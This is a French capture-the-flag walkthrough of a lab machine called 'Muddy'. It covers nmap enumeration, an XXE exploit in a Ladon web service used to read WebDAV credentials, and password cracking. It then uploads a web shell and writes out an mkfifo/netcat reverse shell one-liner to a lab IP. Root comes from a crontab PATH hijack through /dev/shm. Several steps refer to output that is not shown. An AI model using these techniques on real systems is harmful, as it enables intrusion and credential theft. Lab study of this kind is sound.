Muddy

webdav XEE crontab

  • Nom machine : Muddy

  • Difficulté : Facile (mais pas si simple)

  • OS : Linux

Enumération

NMAP

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-15 14:09 EDT
Nmap scan report for 192.168.170.161
Host is up (0.044s latency).
Not shown: 65528 closed tcp ports (conn-refused)
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 74:ba:20:23:89:92:62:02:9f:e7:3d:3b:83:d4:d9:6c (RSA)
|   256 54:8f:79:55:5a:b0:3a:69:5a:d5:72:39:64:fd:07:4e (ECDSA)
|_  256 7f:5d:10:27:62:ba:75:e9:bc:c8:4f:e2:72:87:d4:e2 (ED25519)
25/tcp   open  smtp       Exim smtpd
| smtp-commands: muddy Hello nmap.scanme.org [192.168.45.206], SIZE 52428800, 8BITMIME, PIPELINING, CHUNKING, PRDR, HELP
|_ Commands supported: AUTH HELO EHLO MAIL RCPT DATA BDAT NOOP QUIT RSET HELP
80/tcp   open  http       Apache httpd 2.4.38 ((Debian))
|_http-title: Did not follow redirect to http://muddy.ugc/
|_http-server-header: Apache/2.4.38 (Debian)
111/tcp  open  rpcbind    2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|_  100000  3,4          111/udp6  rpcbind
808/tcp  open  tcpwrapped
908/tcp  open  tcpwrapped
8888/tcp open  http       WSGIServer 0.1 (Python 2.7.16)
|_http-server-header: WSGIServer/0.1 Python/2.7.16
|_http-title: Ladon Service Catalog
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

SMTP (25) : Exim smtpd

Je n'ai pas cherché plus loin.

HTTP (80) : apache 2.4.38

En allant sur le navigateur et tappant l'adresse ip, nous n'avons pas accès à la page. En haut se trouve le nom de domaine que nous allons ajouter à notre fichier host.

Après avoir rafraîchit la page, nous y avons accès.

Nous faisons face à un site wordpress.

Gobuster

Le répertoire webdav semble intéressant.

Rpcbind (111)

Rien d'intéressant.

HTTP (8888) : WSGIServer 0.1 (Python 2.7.16)

On obtient cette page.

"Powered by Ladon for Python".

Nous allons chercher un exploit pour Ladon.

Accès initial

Exploit

Nous allons modifier le payload en mettant l'url désirée, le fichier voulu et remplaçant sayhello par checkout.

Le résultat :

Nous avons trouvé précédemment un fichier webdav. Après une recherche sur internet, nous avons trouvé que le fichier contenant les identifiants se trouvent à /var/www/dav/passwd.dav.

Après plusieurs changements :

Nous allons cracker le hash (md5crypt)

Nous avons un nom d'utilisateur et un mot de passe, nous allons les utiliser dans le repertoire webdav. Nous allons uploader un shell.

Nous allons lancer un listener et exécuter le payload : rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.45.206 1234 >/tmp/f dans la barre du shell (ou url)

Pour le flag :

Elévation des privilèges

Crontab

La dernière ligne nous intéresse, ainsi que le PATH. En effet, nous avons les droits en écriture de /dev/shm.

Ainsi :

Après un petit temps

Nous sommes root !

Mis à jour